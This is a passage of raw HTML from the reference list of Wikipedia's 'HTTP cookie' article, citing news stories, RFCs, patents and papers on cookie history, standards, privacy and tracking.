title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Adage.com&rft.atitle=Sen.+Rockefeller%3A+Get+Ready+for+a+Real+Do-Not-Track+Bill+for+Online+Advertising&rft.date=2011-05-06&rft_id=http%3A%2F%2Fadage.com%2Farticle%2Fdigital%2Fsen-rockefeller-ready-a-real-track-bill%2F227426%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-wdi6I-6"><span class="mw-cite-backlink"><b><a href="#cite_ref-wdi6I_6-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://dominopower.com/article/where-cookie-comes-from/">"Where cookie comes from :: DominoPower"</a>. <i>dominopower.com</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20171019174750/http://dominopower.com/article/where-cookie-comes-from/">Archived</a> from the original on 19 October 2017<span class="reference-accessdate">. Retrieved <span class="nowrap">19 October</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=dominopower.com&rft.atitle=Where+cookie+comes+from+%3A%3A+DominoPower&rft_id=http%3A%2F%2Fdominopower.com%2Farticle%2Fwhere-cookie-comes-from%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-xVtjM-7"><span class="mw-cite-backlink"><b><a href="#cite_ref-xVtjM_7-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFRaymond" class="citation web cs1">Raymond, Eric (ed.). <a rel="nofollow" class="external text" href="http://catb.org/jargon/html/M/magic-cookie.html">"magic cookie"</a>. <i>The Jargon File (version 4.4.7)</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20170906230653/http://www.catb.org/jargon/html/M/magic-cookie.html">Archived</a> from the original on 6 September 2017<span class="reference-accessdate">. Retrieved <span class="nowrap">8 September</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=The+Jargon+File+%28version+4.4.7%29&rft.atitle=magic+cookie&rft_id=http%3A%2F%2Fcatb.org%2Fjargon%2Fhtml%2FM%2Fmagic-cookie.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-N4WV7-8"><span class="mw-cite-backlink"><b><a href="#cite_ref-N4WV7_8-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFSchwartz2001" class="citation news cs1">Schwartz, John (4 September 2001). <a rel="nofollow" class="external text" href="https://www.nytimes.com/2001/09/04/technology/04COOK.html">"Giving Web a Memory Cost Its Users Privacy"</a>. <i>The New York Times</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20111118090113/http://www.nytimes.com/2001/09/04/technology/04COOK.html">Archived</a> from the original on 18 November 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">19 February</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=The+New+York+Times&rft.atitle=Giving+Web+a+Memory+Cost+Its+Users+Privacy&rft.date=2001-09-04&rft.aulast=Schwartz&rft.aufirst=John&rft_id=https%3A%2F%2Fwww.nytimes.com%2F2001%2F09%2F04%2Ftechnology%2F04COOK.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-kesan-9"><span class="mw-cite-backlink">^ <a href="#cite_ref-kesan_9-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-kesan_9-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFKesanShah2018" class="citation journal cs1">Kesan, Jey; Shah, Rajiv (19 August 2018). "Deconstructing Code". <i>Yale Journal of Law and Technology</i>. <b>6</b>: 277–389. <a href="/wiki/SSRN_(identifier)" class="mw-redirect" title="SSRN (identifier)">SSRN</a> <a rel="nofollow" class="external text" href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=597543">597543</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Yale+Journal+of+Law+and+Technology&rft.atitle=Deconstructing+Code&rft.volume=6&rft.pages=277-389&rft.date=2018-08-19&rft_id=https%3A%2F%2Fpapers.ssrn.com%2Fsol3%2Fpapers.cfm%3Fabstract_id%3D597543%23id-name%3DSSRN&rft.aulast=Kesan&rft.aufirst=Jey&rft.au=Shah%2C+Rajiv&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-kristol-10"><span class="mw-cite-backlink">^ <a href="#cite_ref-kristol_10-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-kristol_10-1"><sup><i><b>b</b></i></sup></a> <a href="#cite_ref-kristol_10-2"><sup><i><b>c</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFKristol2001" class="citation journal cs1">Kristol, David M. (2001). "HTTP Cookies: Standards, Privacy, and Politics". <i>ACM Transactions on Internet Technology</i>. <b>1</b> (2). Association for Computing Machinery (ACM): 151–198. <a href="/wiki/ArXiv_(identifier)" class="mw-redirect" title="ArXiv (identifier)">arXiv</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://arxiv.org/abs/cs/0105018">cs/0105018</a></span>. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1145%2F502152.502153">10.1145/502152.502153</a>. <a href="/wiki/ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/1533-5399">1533-5399</a>. <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:1848140">1848140</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=ACM+Transactions+on+Internet+Technology&rft.atitle=HTTP+Cookies%3A+Standards%2C+Privacy%2C+and+Politics&rft.volume=1&rft.issue=2&rft.pages=151-198&rft.date=2001&rft_id=info%3Aarxiv%2Fcs%2F0105018&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A1848140%23id-name%3DS2CID&rft.issn=1533-5399&rft_id=info%3Adoi%2F10.1145%2F502152.502153&rft.aulast=Kristol&rft.aufirst=David+M.&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-JgNeY-11"><span class="mw-cite-backlink"><b><a href="#cite_ref-JgNeY_11-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20061207145832/http://wp.netscape.com/newsref/pr/newsrelease1.html">"Press Release: Netscape Communications Offers New Network Navigator Free On The Internet"</a>. Archived from <a rel="nofollow" class="external text" href="http://wp.netscape.com/newsref/pr/newsrelease1.html">the original</a> on 7 December 2006<span class="reference-accessdate">. Retrieved <span class="nowrap">22 May</span> 2010</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Press+Release%3A+Netscape+Communications+Offers+New+Network+Navigator+Free+On+The+Internet&rft_id=http%3A%2F%2Fwp.netscape.com%2Fnewsref%2Fpr%2Fnewsrelease1.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-8YpTv-12"><span class="mw-cite-backlink"><b><a href="#cite_ref-8YpTv_12-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://groups.google.com/group/comp.infosystems.www.users/msg/9a210e5f72278328">"Usenet Post by Marc Andreessen: Here it is, world!"</a>. 13 October 1994. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110427123350/http://groups.google.com/group/comp.infosystems.www.users/msg/9a210e5f72278328">Archived</a> from the original on 27 April 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">22 May</span> 2010</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Usenet+Post+by+Marc+Andreessen%3A+Here+it+is%2C+world%21&rft.date=1994-10-13&rft_id=https%3A%2F%2Fgroups.google.com%2Fgroup%2Fcomp.infosystems.www.users%2Fmsg%2F9a210e5f72278328&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-13"><span class="mw-cite-backlink"><b><a href="#cite_ref-13">^</a></b></span> <span class="reference-text"><style data-mw-deduplicate="TemplateStyles:r1041539562">.mw-parser-output .citation{word-wrap:break-word}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}</style><span class="citation patent" id="CITEREFMontulli1998"><a rel="nofollow" class="external text" href="https://worldwide.espacenet.com/textdoc?DB=EPODOC&IDX=US5774670">US 5774670</a>, Montulli, Lou, "Persistent client state in a hypertext transfer protocol based client-server system", published 1998-06-30,  assigned to <a href="/wiki/Netscape_Communications_Corp." class="mw-redirect" title="Netscape Communications Corp.">Netscape Communications Corp.</a></span><span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Apatent&rft.number=5774670&rft.cc=US&rft.title=Persistent+client+state+in+a+hypertext+transfer+protocol+based+client-server+system&rft.inventor=Montulli&rft.assignee=%5B%5BNetscape+Communications+Corp.%5D%5D&rft.pubdate=1998-06-30"><span style="display: none;"> </span></span></span> </li> <li id="cite_note-95BiI-14"><span class="mw-cite-backlink"><b><a href="#cite_ref-95BiI_14-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFHardmeier2005" class="citation news cs1">Hardmeier, Sandi (25 August 2005). <a rel="nofollow" class="external text" href="https://www.microsoft.com/windows/IE/community/columns/historyofie.mspx">"The history of Internet Explorer"</a>. Microsoft. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20051001113951/http://www.microsoft.com/windows/IE/community/columns/historyofie.mspx">Archived</a> from the original on 1 October 2005<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.atitle=The+history+of+Internet+Explorer&rft.date=2005-08-25&rft.aulast=Hardmeier&rft.aufirst=Sandi&rft_id=https%3A%2F%2Fwww.microsoft.com%2Fwindows%2FIE%2Fcommunity%2Fcolumns%2Fhistoryofie.mspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-15"><span class="mw-cite-backlink"><b><a href="#cite_ref-15">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFMiyazaki2008" class="citation journal cs1">Miyazaki, Anthony D. (2008). <a rel="nofollow" class="external text" href="http://journals.sagepub.com/doi/10.1509/jppm.27.1.19">"Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage"</a>. <i>Journal of Public Policy & Marketing</i>. <b>27</b> (1): 19–33. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1509%2Fjppm.27.1.19">10.1509/jppm.27.1.19</a>. <a href="/wiki/ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/0743-9156">0743-9156</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Journal+of+Public+Policy+%26+Marketing&rft.atitle=Online+Privacy+and+the+Disclosure+of+Cookie+Use%3A+Effects+on+Consumer+Trust+and+Anticipated+Patronage&rft.volume=27&rft.issue=1&rft.pages=19-33&rft.date=2008&rft_id=info%3Adoi%2F10.1509%2Fjppm.27.1.19&rft.issn=0743-9156&rft.aulast=Miyazaki&rft.aufirst=Anthony+D.&rft_id=http%3A%2F%2Fjournals.sagepub.com%2Fdoi%2F10.1509%2Fjppm.27.1.19&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-B3JMd-16"><span class="mw-cite-backlink"><b><a href="#cite_ref-B3JMd_16-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFJackson1996" class="citation news cs1">Jackson, T (12 February 1996). "This Bug in Your PC is a Smart Cookie". <i>Financial Times</i>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Financial+Times&rft.atitle=This+Bug+in+Your+PC+is+a+Smart+Cookie&rft.date=1996-02-12&rft.aulast=Jackson&rft.aufirst=T&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-RFC2109-17"><span class="mw-cite-backlink">^ <a href="#cite_ref-RFC2109_17-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-RFC2109_17-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation cs1"><a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc2109#section-8.3"><i>RFC 2109</i></a>. sec. 8.3. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC2109">10.17487/RFC2109</a></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=RFC+2109&rft.pages=sec.-8.3&rft_id=info%3Adoi%2F10.17487%2FRFC2109&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2109%26%23035%3Bsection-8.3&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-AGgFj-18"><span class="mw-cite-backlink"><b><a href="#cite_ref-AGgFj_18-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://staff.washington.edu/fmf/2009/06/19/setting-cookies/">"Setting Cookies"</a>. <i>staff.washington.edu</i>. 19 June 2009. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20170316175133/https://staff.washington.edu/fmf/2009/06/19/setting-cookies/">Archived</a> from the original on 16 March 2017<span class="reference-accessdate">. Retrieved <span class="nowrap">15 March</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=staff.washington.edu&rft.atitle=Setting+Cookies&rft.date=2009-06-19&rft_id=https%3A%2F%2Fstaff.washington.edu%2Ffmf%2F2009%2F06%2F19%2Fsetting-cookies%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-V1mES-19"><span class="mw-cite-backlink"><b><a href="#cite_ref-V1mES_19-0">^</a></b></span> <span class="reference-text">The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in <a rel="nofollow" class="external text" href="http://edbrowse.org/usersguide.html#cook">later versions of the documentation</a> <a rel="nofollow" class="external text" href="https://web.archive.org/web/20170316024448/http://edbrowse.org/usersguide.html#cook">Archived</a> 2017-03-16 at the <a href="/wiki/Wayback_Machine" title="Wayback Machine">Wayback Machine</a> further to RFC 2965's deprecation.</span> </li> <li id="cite_note-StateMgmt-20"><span class="mw-cite-backlink"><b><a href="#cite_ref-StateMgmt_20-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFHodgesCorry2011" class="citation web cs1">Hodges, Jeff; Corry, Bil (6 March 2011). <a rel="nofollow" class="external text" href="http://www.thesecuritypractice.com/the_security_practice/2011/03/http-state-management-mechanism-to-proposed-standard.html">"<span class="cs1-kern-left"></span>'HTTP State Management Mechanism' to Proposed Standard"</a>. <i>The Security Practice</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20160807062741/http://www.thesecuritypractice.com/the_security_practice/2011/03/http-state-management-mechanism-to-proposed-standard.html">Archived</a> from the original on 7 August 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">17 June</span> 2016</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=The+Security+Practice&rft.atitle=%27HTTP+State+Management+Mechanism%27+to+Proposed+Standard&rft.date=2011-03-06&rft.aulast=Hodges&rft.aufirst=Jeff&rft.au=Corry%2C+Bil&rft_id=http%3A%2F%2Fwww.thesecuritypractice.com%2Fthe_security_practice%2F2011%2F03%2Fhttp-state-management-mechanism-to-proposed-standard.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-TASE4-21"><span class="mw-cite-backlink"><b><a href="#cite_ref-TASE4_21-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie2">"Set-Cookie2 - HTTP | MDN"</a>. <i>developer.mozilla.org</i><span class="reference-accessdate">. Retrieved <span class="nowrap">8 March</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=developer.mozilla.org&rft.atitle=Set-Cookie2+-+HTTP+%7C+MDN&rft_id=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FHTTP%2FHeaders%2FSet-Cookie2&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-mscookie-22"><span class="mw-cite-backlink"><b><a href="#cite_ref-mscookie_22-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20110925230707/http://support.microsoft.com/kb/223799/EN-US">"Description of Persistent and Per-Session Cookies in Internet Explorer"</a>. <i>support.microsoft.com</i>. 24 January 2007. Archived from <a rel="nofollow" class="external text" href="http://support.microsoft.com/kb/223799/EN-US">the original</a> on 25 September 2011.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=support.microsoft.com&rft.atitle=Description+of+Persistent+and+Per-Session+Cookies+in+Internet+Explorer&rft.date=2007-01-24&rft_id=http%3A%2F%2Fsupport.microsoft.com%2Fkb%2F223799%2FEN-US&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-HwxT6-23"><span class="mw-cite-backlink"><b><a href="#cite_ref-HwxT6_23-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://msdn.microsoft.com/en-us/library/ms526029(v=vs.90).aspx">"Maintaining session state with cookies"</a>. <i>Microsoft Developer Network</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20121014110456/http://msdn.microsoft.com/en-us/library/ms526029(v=vs.90).aspx">Archived</a> from the original on 14 October 2012<span class="reference-accessdate">. Retrieved <span class="nowrap">22 October</span> 2012</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Microsoft+Developer+Network&rft.atitle=Maintaining+session+state+with+cookies&rft_id=http%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fms526029%28v%3Dvs.90%29.aspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-24"><span class="mw-cite-backlink"><b><a href="#cite_ref-24">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBujlowCarela-EspanolLeeBarlet-Ros2017" class="citation journal cs1">Bujlow, Tomasz; Carela-Espanol, Valentin; Lee, Beom-Ryeol; Barlet-Ros, Pere (2017). <a rel="nofollow" class="external text" href="https://ieeexplore.ieee.org/document/7872467">"A Survey on Web Tracking: Mechanisms, Implications, and Defenses"</a>. <i>Proceedings of the IEEE</i>. <b>105</b> (8): 1476–1510. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1109%2FJPROC.2016.2637878">10.1109/JPROC.2016.2637878</a>. <a href="/wiki/Hdl_(identifier)" class="mw-redirect" title="Hdl (identifier)">hdl</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://hdl.handle.net/2117%2F108437">2117/108437</a></span>. <a href="/wiki/ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/0018-9219">0018-9219</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Proceedings+of+the+IEEE&rft.atitle=A+Survey+on+Web+Tracking%3A+Mechanisms%2C+Implications%2C+and+Defenses&rft.volume=105&rft.issue=8&rft.pages=1476-1510&rft.date=2017&rft_id=info%3Ahdl%2F2117%2F108437&rft.issn=0018-9219&rft_id=info%3Adoi%2F10.1109%2FJPROC.2016.2637878&rft.aulast=Bujlow&rft.aufirst=Tomasz&rft.au=Carela-Espanol%2C+Valentin&rft.au=Lee%2C+Beom-Ryeol&rft.au=Barlet-Ros%2C+Pere&rft_id=https%3A%2F%2Fieeexplore.ieee.org%2Fdocument%2F7872467&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-25"><span class="mw-cite-backlink"><b><a href="#cite_ref-25">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFRasaiiSinghGosainGasser2023" class="citation cs2">Rasaii, Ali; Singh, Shivani; Gosain, Devashish; Gasser, Oliver (2023), Brunstrom, Anna; Flores, Marcel; Fiore, Marco (eds.), <a rel="nofollow" class="external text" href="https://link.springer.com/10.1007/978-3-031-28486-1_26">"Exploring the Cookieverse: A Multi-Perspective Analysis of Web Cookies"</a>, <i>Passive and Active Measurement</i>, vol. 13882, Cham: Springer Nature Switzerland, pp. 623–651, <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1007%2F978-3-031-28486-1_26">10.1007/978-3-031-28486-1_26</a>, <a href="/wiki/ISBN_(identifier)" class="mw-redirect" title="ISBN (identifier)">ISBN</a> <a href="/wiki/Special:BookSources/978-3-031-28485-4" title="Special:BookSources/978-3-031-28485-4"><bdi>978-3-031-28485-4</bdi></a><span class="reference-accessdate">, retrieved <span class="nowrap">24 August</span> 2024</span></cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Passive+and+Active+Measurement&rft.atitle=Exploring+the+Cookieverse%3A+A+Multi-Perspective+Analysis+of+Web+Cookies&rft.volume=13882&rft.pages=623-651&rft.date=2023&rft_id=info%3Adoi%2F10.1007%2F978-3-031-28486-1_26&rft.isbn=978-3-031-28485-4&rft.aulast=Rasaii&rft.aufirst=Ali&rft.au=Singh%2C+Shivani&rft.au=Gosain%2C+Devashish&rft.au=Gasser%2C+Oliver&rft_id=https%3A%2F%2Flink.springer.com%2F10.1007%2F978-3-031-28486-1_26&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-26"><span class="mw-cite-backlink"><b><a href="#cite_ref-26">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBugliesiCalzavaraFocardiKhan2015" class="citation journal cs1">Bugliesi, Michele; Calzavara, Stefano; Focardi, Riccardo; Khan, Wilayat (16 September 2015). <a rel="nofollow" class="external text" href="https://www.medra.org/servlet/aliasResolver?alias=iospress&doi=10.3233/JCS-150529">"CookiExt: Patching the browser against session hijacking attacks"</a>. <i>Journal of Computer Security</i>. <b>23</b> (4): 509–537. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.3233%2FJCS-150529">10.3233/JCS-150529</a>. <a href="/wiki/Hdl_(identifier)" class="mw-redirect" title="Hdl (identifier)">hdl</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://hdl.handle.net/10278%2F3663357">10278/3663357</a></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Journal+of+Computer+Security&rft.atitle=CookiExt%3A+Patching+the+browser+against+session+hijacking+attacks&rft.volume=23&rft.issue=4&rft.pages=509-537&rft.date=2015-09-16&rft_id=info%3Ahdl%2F10278%2F3663357&rft_id=info%3Adoi%2F10.3233%2FJCS-150529&rft.aulast=Bugliesi&rft.aufirst=Michele&rft.au=Calzavara%2C+Stefano&rft.au=Focardi%2C+Riccardo&rft.au=Khan%2C+Wilayat&rft_id=https%3A%2F%2Fwww.medra.org%2Fservlet%2FaliasResolver%3Falias%3Diospress%26doi%3D10.3233%2FJCS-150529&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-T8177-27"><span class="mw-cite-backlink"><b><a href="#cite_ref-T8177_27-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.chromestatus.com/feature/4672634709082112">"<span class="cs1-kern-left"></span>'SameSite' cookie attribute, Chrome Platform tatus"</a>. <i>Chromestatus.com</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20160509064447/https://www.chromestatus.com/feature/4672634709082112">Archived</a> from the original on 9 May 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">23 April</span> 2016</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Chromestatus.com&rft.atitle=%27SameSite%27+cookie+attribute%2C+Chrome+Platform+tatus&rft_id=https%3A%2F%2Fwww.chromestatus.com%2Ffeature%2F4672634709082112&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-oCqyo-28"><span class="mw-cite-backlink"><b><a href="#cite_ref-oCqyo_28-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFGoodwinWest2016" class="citation journal cs1">Goodwin, M.; West (20 June 2016). <a rel="nofollow" class="external text" href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">"Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00"</a>. <i>Ietf Datatracker</i>. <a rel="nofollow" class="external text" 